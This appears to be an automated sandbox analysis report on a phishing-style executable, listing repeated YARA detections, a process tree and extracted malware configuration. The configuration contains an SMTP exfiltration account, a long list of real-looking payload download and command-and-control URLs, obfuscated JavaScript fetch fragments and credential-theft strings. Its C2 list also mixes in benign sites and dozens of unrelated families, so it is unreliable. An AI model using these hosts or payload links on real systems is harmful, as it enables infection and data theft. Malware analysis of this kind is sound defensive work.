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Windows Analysis Report Foreign_Bank Account Details.exe…

Overview

General Information

Sample 
Name:

Foreign_Bank Account 
Details.exe

Analysis ID: 1613

MD5: 8906fa5fed7b1d3…

SHA1: f4488a79fcb657e…

SHA256: d1a3f5513cfaf50…

Infos:

Most interesting Screenshot:

Detection

RemComRemCom
RemoteAdminRemoteAdmin

Mimikatz HawkEyeMimikatz HawkEye
Imminent NanocoreImminent Nanocore
Remcos GuLoaderRemcos GuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloaderYara detected PasteDownloader

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool MimikatzDetected Hacktool Mimikatz

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon RansomwYara detected BlackMoon Ransomw……

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake KeyloggerYara detected Snake Keylogger

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomwareYara detected Ragnarok ransomware

Yara detected Globeimposter Ranso

Yara detected Globeimposter Ranso

Yara detected Globeimposter Ranso

Yara detected Globeimposter Ranso

Yara detected Globeimposter Ranso

Yara detected Globeimposter Ranso

Yara detected Globeimposter RansoYara detected Globeimposter Ranso……

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial StealerYara detected Evrial Stealer

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon RansomwareYara detected Avaddon Ransomware

Yara detected GhostRat

Yara detected GhostRat

Yara detected GhostRat

Yara detected GhostRat

Yara detected GhostRat

Yara detected GhostRat

Yara detected GhostRatYara detected GhostRat

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RATYara detected Mini RAT

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter RansomYara detected BLACKMatter Ransom……

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected KoadicYara detected Koadic

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected JigsawYara detected Jigsaw

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT RansomYara detected AESCRYPT Ransom……

Yara detected Rapid ransomware

Yara detected Rapid ransomware

Yara detected Rapid ransomware

Yara detected Rapid ransomware

Yara detected Rapid ransomware

Yara detected Rapid ransomware

Yara detected Rapid ransomwareYara detected Rapid ransomware

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGenericYara detected RansomwareGeneric

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomwareYara detected Ouroboros ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta Ransomware

Yara detected Fiesta RansomwareYara detected Fiesta Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek Ransomware

Yara detected Lolkek RansomwareYara detected Lolkek Ransomware

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRATYara detected LimeRAT

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos RansomwareYara detected Chaos Ransomware

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected HancitorYara detected Hancitor

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt Ransomw

Yara detected TeslaCrypt RansomwYara detected TeslaCrypt Ransomw……

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock RansomwareYara detected Mock Ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomwareYara detected Conti ransomware

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic DropperYara detected Generic Dropper

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry RansomwareYara detected NoCry Ransomware

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker RansomwYara detected ByteLocker Ransomw……

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker RansomYara detected RegretLocker Ransom……

Yara detected Crypt ransomware

Yara detected Crypt ransomware

Yara detected Crypt ransomware

Yara detected Crypt ransomware

Yara detected Crypt ransomware

Yara detected Crypt ransomware

Yara detected Crypt ransomwareYara detected Crypt ransomware

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected MeterpreterYara detected Meterpreter

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop RansomwareYara detected Clop Ransomware

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrencyYara detected Xmrig cryptocurrency……

Yara detected ISRStealer

Yara detected ISRStealer

Yara detected ISRStealer

Yara detected ISRStealer

Yara detected ISRStealer

Yara detected ISRStealer

Yara detected ISRStealerYara detected ISRStealer

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomwareYara detected LockBit ransomware

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwaYara detected LOCKFILE ransomwa……

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomwareYara detected Cerber ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomwareYara detected Rhino ransomware

Yara detected Niros Ransomware

Yara detected Niros Ransomware

Yara detected Niros Ransomware

Yara detected Niros Ransomware

Yara detected Niros Ransomware

Yara detected Niros Ransomware

Yara detected Niros RansomwareYara detected Niros Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran RansomwareYara detected Buran Ransomware

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

Foreign_Bank Account Details.exe (PID: 7880 cmdline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'  MD5: 8906FA5FED7B1D3D2E5579D97419C076)

RegAsm.exe (PID: 5916 cmdline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tKZVPq.exe (PID: 2024 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

tKZVPq.exe (PID: 2664 cmdline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

mpam-c45e5da5.exe (PID: 3480 cmdline: 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe' /q WD MD5: 

443EE02E661D01299DEF051C2990B777)
MpSigStub.exe (PID: 3992 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe /stub 1.1.1

8500.10 /payload 1.351.256.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD MD5: 01F92DC7A766FF783AE7AF40FD0334FB)
wevtutil.exe (PID: 7380 cmdline: C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man MD5: 

C57C1292650B6384903FE6408D412CFA)
conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

wevtutil.exe (PID: 6888 cmdline: C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man '/resourceFil

ePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\D
efinition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpeng
ine_etw.dll' MD5: C57C1292650B6384903FE6408D412CFA)

conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

mpam-f54ed867.exe (PID: 4540 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe MD5: 34B7B3BDFA61E18D3B2C3B0AC92B78EF)

MpSigStub.exe (PID: 7540 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe /stub 1.1.1

8500.10 /payload 4.18.2109.6 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe MD5: 01F92DC7A766FF783AE7AF40FD0334FB)
cleanup

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "purchasing@cselegance.comCSE.868mail.cselegance.com"
}

{
  "C2 list": [

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: Pony
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  "C2 list": [
    "http://www.trotux.com/?z=",
    "http://www.zhongsou.com/kefu/zskf.htm",
    "http://www.w3.org/1999/xsl/transform",
    "http://evanstechnology.com",
    "http://41.59.0.100/intranet",
    "http://www.microsoft.com",
    "http://www.direct-ip.com/",
    "http://downloadfilesldr.com/index5.php?adv=141",
    "http://spywaresoftstop.com/download/141/setup.exe",
    "http://service.srvmd6.com/Mac/getInstallerSettings/?version=",
    "http://gveejlsffxmfjlswjmfm.com/files/",
    "http://so1.5k5.net/interface?action=install&p=",
    "http://thespecsupportservice.com/uno.dat",
    "http://110.42.4.180:",
    "http://pznjaslo.pl/wp-content/outstanding-invoices/",
    "http://aindonashi.blogspot.com/",
    "http://www.alibaba.com",
    "http://(www|corail)\\\\.sudoc",
    "http://downloadfilesldr.com/index2.php?adv=141",
    "http://santasalete.sp.gov.br/jss/",
    "http://acayipbiri.blogspot.com/",
    "http://bardubar.com/mMS83JIdhq/ieygBSH38hsJa/",
    "http://xn--",
    "http://a.pomf.cat/",
    "http://cicahroti.blogspot.com/ ",
    "http://22y456.com/",
    "http://my-speak.eu/csioj.exe",
    "http://babukq4e2p4wu4iq.onion",
    "http://62.210.214.",
    "http://articlunik.blogspot.com/",
    "http://spotdewasa.blogspot.com/",
    "http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/",
    "http://www.nytimes.com",
    "http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=",
    "http://d1.downxia.net/products/",
    "http://www.gamedanji.cn/ExeIni",
    "http://aitimatafb.blogspot.com/",
    "http://berkah2013.blogspot.com/",
    "http://bigboobsp.blogspot.com/ ",
    "http://aspeja.org/question/",
    "http://www.apple.com",
    "http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/",
    "http://microhelptech.com/gotoassist/",
    "http://pastebin.com/",
    "http://www.fastclick.com",
    "http://errors.statsmyapp.com",
    "http://gicia.info/cd/cd.php?id=%s&ver=g",
    "http://musah.info/",
    "http://%s/buy_online.php",
    "http://apee296.co.ke/tatiyv6824540/gescanntes-dokument/zahlungserinnerung",
    "http://www.tripod.com",
    "http://batrasiaku.blogspot.com/",
    "http://gaigoixxx.blogspot.com/ ",
    "http://www.sqwire.com",
    "http://arthisoft.blogspot.com/ ",
    "http://www.steelbendersrfq.cf/",
    "http://gg",
    "http://www.",
    "http://yamaofficial.com/rxuczm/3415201.png",
    "http://www.xanga.com",
    "http://www.cnn.com",
    "http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/",
    "http://wmwifbajxxbcxmucxmlc.com/files/",
    "http://81.177.26.20/ayayay",
    "http://i.compucrush.com/i.php",
    "http://jugnitv.com/final.jpg",
    "http://www.consumerinput.com/",
    "http://104.236.94.",
    "http://cl.1ck.me/",
    "http://seuufhehfueughek.ws/",
    "http://bonkersmen.blogspot.com/",
    "http://www.j.mp/",
    "http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe",
    "http://www.mlb.com",
    "http://www.friskypotato.com/",
    "http://tumicy.com/plqijcndwoisdhsaow/",
    "http://pages",
    "http://www.yahoo.com",
    "http://whatami.us.to/tc",
    "http://darkside",
    "http://www.monster.com",
    "http://www.netscape.com",
    "http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php",
    "http://200.74.240.151/saturno/w8.txt",
    "http://downloadfilesldr.com/index4.php?adv=141",
    "http://download.zhongsou.com/cdsearch/",
    "http://spywaresoftstop.com/wfdfdghfdghj.htm",
    "http://brembotembo.com/doc.xls",
    "http://cts.hotbar.com/trackedevent.aspx",
    "http://%s/sync.php",
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    "http://31.192.210.",
    "http://chemgioaz.blogspot.com/ ",
    "http://likesomessfortelr.eu/mSsNX3JDSJD/inNSj398LSj/",
    "http://203.199.200.61",
    "http://www.alexa.com",
    "http://www.microsoft.com0",
    "http://8nasrcity.blogspot.com/ ",
    "http://www.bookiq.bsnl.co.in/data_entry/circulars/m",
    "http://mydirecttube.com/",
    "http://ajeyftrjqeashgda.mobi/mSsQDIMIQ/inIDw/",
    "http://aolopdephn.blogspot.com/",
    "http://faithhotelghana.com",
    "http://94.102.14.",
    "http://www.diannaowang.com:8080",
    "http://200.74.240.151/saturno/w7.txt",
    "http://www.searchmaid.com/",
    "http://www.moliv.com.br/stat/email0702/",
    "http://%s%simg.jpg",
    "http://gosgd.com",
    "http://owwwc.com/mm/",
    "http://pig.zhongsou.com/helpsimple/help.htm",
    "http://avnisevinc.blogspot.com/",
    "http://hostthenpost.org/uploads/",
    "http://pssquared.com/invoice-status/tracking-number-and-invoice-of-your-order/",
    "http://www.lycos.com",
    "http://192.189.25.17/cgbin/ukbros",
    "http://208.95.104.",
    "http://tempuri.org/",
    "http://afkar.today/test_coming.training/w_f/",
    "http://tsrv4.ws/",
    "http://%domain%/config.php",
    "http://dl.dropbox.com/u/",
    "http://www.klikspaandelft.nl/",
    "http://cs.zhongsou.com/",
    "http://mitotl.com.mx/ups.com/",
    "http://%s",
    "http://autothich.blogspot.com/ ",
    "http://march262020.com/files/",
    "http://www.pornpassmanager.com/d",
    "http://www.icq.com",
    "http://%domain%/update.php",
    "http://%s:%i%s",
    "http://www.88vcd.com/htm/china/myb/send.asp?daqu=%s&xiaoqu=%s&user=%s&pass=%s&ckpass=%s&renwu=%s&level=%d&gold=%d&stone=%d&cpname",
    "http://tool.world2.cn/toolbar/",
    "http://coltaddict.blogspot.com/",
    "http://alindaenua.blogspot.com/",
    "http://tinyurl.com/",
    "http://www.virtrigger.com",
    "http://qwuyegasd3edarq6yu.org/mSsQDIMIQ/ind7694GDs/",
    "http://www.niudoudou.com/web/download/",
    "http://millennium-traders.info",
    "http://www.youndoo.com/?z=",
    "http://devee.emlnk.com/lt.php?s=b7abe8a8120881cc5c9dab6eac28ddbe&amp;i=1a3a1a",
    "http://200.159.128.",
    "http://1bestgate.blogspot.com/ ",
    "http://www.preyer.it/ups.com/",
    "http://www.adserver.com",
    "http://5starvideos.com/main/",
    "http://march262020.club/files/",
    "http://session-dyfm.clientmsg13.review/8446c35a41f9e820533b6cd008b40749?fpcum=&amp;dyfm=ywx2yxjvx3zlbgfzy29adndylmnvbq==&amp;dyfm=cpjyicit",
    "http://www.surprisingdd.top",
    "http://www.facebook.com/",
    "http://agressor58.blogspot.com/",
    "http://arifkacip.blogspot.com/ ",
    "http://95.173.183.",
    "http://bittupadam.blogspot.com/",
    "http://94.103.85.236/ds/11.gif",
    "http://www.%domain%/updates/check.html",
    "http://srmvx.com.br/uploads/",
    "http://webpatch.ragnarok.co.kr/",
    "http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/",
    "http://alhalm-now.blogspot.com/",
    "http://fateh.aba.ae/abc.zip",
    "http://abeidaman.blogspot.com/ ",
    "http://131.153.38.125/",
    "http://www.amazon.com",
    "http://%s/support.php",
    "http://50.63.128.",
    "http://animefrase.blogspot.com/",
    "http://booknology.com/",
    "http://www.lumina.it/wp-content/plugins/all-in-one-wp-migration/storage/client/invoice-978561/",
    "http://bgtc.pctonics.com",
    "http://rentalhabneew.com/",
    "http://maldonaaloverainc.com/",
    "http://216.172.172.40/~agora546/cardoso/dilma.zip",
    "http://beautifulmaori.co.nz/wp-content/plugins/wp-xmll_2/gorfy2pq/1ny0mnkih27id8m.ktk",
    "http://batysnewskz.kz/ups.com",
    "http://61.19.253.",
    "http://downloadfilesldr.com/index3.php?adv=141",
    "http://%s:%d/%d%s",
    "http://179.43.158.187/PhtJFr0fvBk2.php",
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    "http://spywaresoftstop.com/load.php?adv=141",
    "http://wevx.xyz/post.php?uid=",
    "http://dontkillme/",
    "http://activecodec.0fees.net/codec/mp3/codec_download.htm",
    "http://zilmaraalencar.com.br/layouts/plugins/editors/tinymce/field/zzurphy.php",
    "http://highpay.website/css/windows.jar",
    "http://update.7h4uk.com:443/antivirus.php",
    "http://update.xiaoshoupeixun.com/tsbho.ini",
    "http://hotedeals.co.uk/ekck095032/",
    "http://gosgd2.com",
    "http://3s249.s249327.96.lt/mss2ro37qtl3cbw9vo0lk2bx8vv7jmx2mlesim9ddw11fem3sjp3ijuoufk/mss.php",
    "http://sameshitasiteverwas.com/traf/tds/in.cgi",
    "http://ahmad-roni.blogspot.com/",
    "http://citw-vol2.blogspot.com/ ",
    "http://%s:%d/%s%d%08d",
    "http://kolyherqylwa9ru.top/log.php?f=400\",zigmep0());ixunlaw4=samagsi0[awolgify4()]
();ypjatlaci6[ygulsivko6()]=krubyfacifv2();erqylwa9=samagsi0[hojmed4()];geqilra0=wmetoqe0[betyquzt6()];}ixunlaw4=ypjatlaci6[azgorpydbibd4()]();ixunlaw4=ypjatlaci6[ildig0()]
(erqylwa9);ixunlaw4=ypjatlaci6[onesothaz0()](kqoctim8+lcacsovy5);ixunlaw4=ypjatlaci6[oxkucfur4()]();ixunlaw4=iliqof8[agajdojj9()](rpolje4()+kqoctim8+lcacsovy5,zigmep0());}catch(e){}",
    "http://f1visa.info/cd/cd.php?id=%s&ver=g",
    "http://13.233.183.227/de/lngukm2012920/bestellungen/zahlung",
    "http://cvfanatic.blogspot.com/ ",
    "http://www.qq994455.com/",
    "http://20vp.cn/moyu/",
    "http://www.ebay.com",
    "http://fateh.aba.ae/xyzx.zip",
    "http://3dplayful.blogspot.com/ ",
    "http://vequiato.sites.uol.com.br/",
    "http://malikberry.com/files101/htamandela.hta",
    "http://bbc.lumpens.org/",
    "http://verticalagriculture.net/files/csrss.jar",
    "http://31.192.209.",
    "http://31.192.211.",
    "http://lo0oading.blogspot.com/ ",
    "http://page.zhongsou.com/ps?tps=2&cc=%s&aid=CA%s&w=",
    "http://best4hack.blogspot.com/ ",
    "http://www.mapquest.com",
    "http://ip-api.com/json/",
    "http://888888.2288.org/Monitor_INI",
    "http://te.platrium.com/pte.aspx",
    "http://www.phokhobazan.com/%202%200%201%208-0%207%20-%201%201%202%200%200%207:%202%206:%2099%20819.php/?email=kevind@hollywoodwoodwork.com\"target=\"_blank",
    "http://config.juezhao123.com/c.ashx?ver=&c=",
    "http://brembotembo.com/2.dat",
    "http://%s:%i%s?mod=cmd",
    "http://detayworx.com/_vsnpNgyXp84Os8Xh.php",
    "http://checkip.dyndns.org/",
    "http://whenyouplaygood.com/s/gate.php?a\");f[\"\\x73\\x65\\x6e\\x64\"]();eval(f[\"responsetext\"",
    "http://www.nba.com",
    "http://www.colegioarbitrosargentinos.com.ar/img/overdue-account/invoice-053541/",
    "http://www.agendagyn.com/media/fotos/2010/",
    "http://www.thon-samson.be/js/_notes/",
    "http://anomaniez.blogspot.com/ ",
    "http://masgiO.info/cd/cd.php?id=%s&ver=g",
    "http://binyousafindustries.com/fonts/jo/mops.exe",
    "http://%s/features.php",
    "http://www.enquesta.tempsdoci.com/tracking-number-7fjs84476372436909/mar-13-18-04-02-56",
    "http://iranvision1404.com/ss/info/redebit_transactions/terms/kohc-xuxo_lcxty-av6e",
    "http://92.222.7.",
    "http://brembotembo.com/1.dat",
    "http://ow.ly/QoHbJ",
    "http://%s/v_install?sid=16045&start=1&guid=$__GUID&sig=$__SIG&ovr=$__OVR&browser=$__BROWSER&label=%s&aux=%d",
    "http://aancyber77.blogspot.com/",
    "http://2010-kpss.blogspot.com/ ",
    "http://www.sacbarao.kinghost.net/",
    "http://downloadfilesldr.com/allfile.jpg",
    "http://5starvideos.com/main/K",
    "http://sf3q2wrq34.ddns.net",
    "http://www.ip2location.com/",
    "http://88888888.7766.org/ExeIni",
    "http://worm.ws/",
    "http://sonharvaleapena.com.br/en_us/copy_invoice/25680423862/dqzln-cwhrf_yagnf-spn",
    "http://www.ssl-256mail.host/5c596a68b83a886b57ade24c?jgiasyi=&pwnmiz_g=1eo3fjfkkke&jgiasyi=wtnygzsiyw",
    "http://dudethisishowwedoitallnightlong.2myip.net",
    "http://dmww.dmcast.com/script/update.asp?version=%s",
    "http://docs.herobo.com",
    "http://directplugin.com/dialers/",
    "http://www.xpassgenerator.com/software/d"
  ]
}

{
  "Type": "Execute Command",
  "Command": "\u0001"
}

Threatname: Metasploit

Threatname: CryLock
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{
  "Extensions": "dpost cal ed, module handle  c:\\temp\\co kies.log WantRele !Trickbot.AAA!sms !Trickbotpw.A!mod Grab_Passwords_Chrome(0) Grab_Passwords_Chrome() success 
Grab_Passwords_Chrome(): Can't open database \\Google\\Chrome\\User Data\\Default\\Login Data.bak [Reflection.Assembly]::LoadFile(\"$binpath\\KeePass.exe\") Write-warning \"Unable Load 
KeePass Binarys\" Internet Explorer Internet Explorer] !Trickbotem.A!mod Grabbed %s from Inbox Grabbed %s from Contacts Error hiding Outlook from the taskbar Hide Outlook from system tray 
StartOutlook(): before hide c:\\temp\\mail.log StartOutlook(): ShellExecuteW()  %S %S StartOutlook(): ShellExecuteW()  %S %S] !TrickBot.I!MTB !TrickBot.J!MTB XYXEQX8dMYWKgX8KMNQpqCL 
\tgMofH.dll !Control !ControlFreeBufferReleaseStart !TrickBot.K!MTB Xvaultcli.dll SysListView32 atl.dll SRVDATA.dll NetServerStart NetServerStop 
JSRVDATA.dllControlFreeBufferNetServerStartNetServerStopReleaseStart !Trickbot.V!ibt +VC20XC00U Trojan:Win64/TrickInj.A!MTB inj_64.dll [INIT] Inj = %u [INIT] BC = %u [INIT] Proxy = %u #pgid# 
#pgid#] !TrickBot.A!ibt \\rdpscan.pdb  Control  ControlFreeBufferReleaseStart] TrojanDownloader:O97M/Emotet.QAZ!MTB $TrojanDownloader:O97M/Emotet.QAZ!MTB 
TrojanDownloader:O97M/Emotet.RAA!MTB $TrojanDownloader:O97M/Emotet.RAA!MTB TrojanDownloader:O97M/Emotet.RAB!MTB $TrojanDownloader:O97M/Emotet.RAB!MTB !Trickbotspr.A!mod 
CmainSpreader::init() CreateThread, error code %i CmainSpreader::init() CreateEvent, error code %i WormShare lsass.exe End of Romance spreader with module handle 0x%08X is started spreader 
with module handle 0x%08X is started] !TrickInj.B!MTB inj_32.dll #gid# /QConnection !EmotetCrypt.MR!MTB Trojan:Win64/Trickbot.SS!MTB dllor.dll bEjvvgF7zLSVe7I SKe1E7e1BJnWQG 
0qjqOSdonoe2dLUW !ControlFreeBufferReleaseStart] TrojanDownloader:O97M/IcedID.YJ!MTB #TrojanDownloader:O97M/IcedID.YJ!MTB !Trickbot.PN!MSR rdpscan.dll rdpscan.pdb rdpscan.pdb] 
Behavior:Win32/Trickbot.A!sms !Trickbot.A!sms !Trickbot.B!ibt \\webinject32.pdb \\webinject62.pdb ControlFreeBufferReleaseStart WebInject build %s %s (%s) starting STATIC FAKE rebuild= Injection 
failure process pid = CheckAndInjectExplorer(): CreateToolhelp32Snapshot(): Chrome is zombie Starting and injecting chrome [INJECT] inject_via_remotethread_wow64 [INJECT] 
inject_via_remotethread_wow64] !Trickbot.N grab_passwords_chrome() )from logins where blacklisted_by_user = 0 \\default\\login data.bak mimikatz] !Trickbot.O [reflection.assembly]::loadfile(\"  
\\keepass.exe\") MTIzNA==; cXdlcg==; MTIzNA==; cXdlcg==;] !TrickbotVP.A!MTB vpnDll build %s %s started VPN bridge failure 11:43 vpnDll.dll WantRelease RasGetConnectStatusA] !Azurlt!MTB 
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs SetEnvironmentVariableW CreateProcessAsUserW GlobalMemoryStatus 
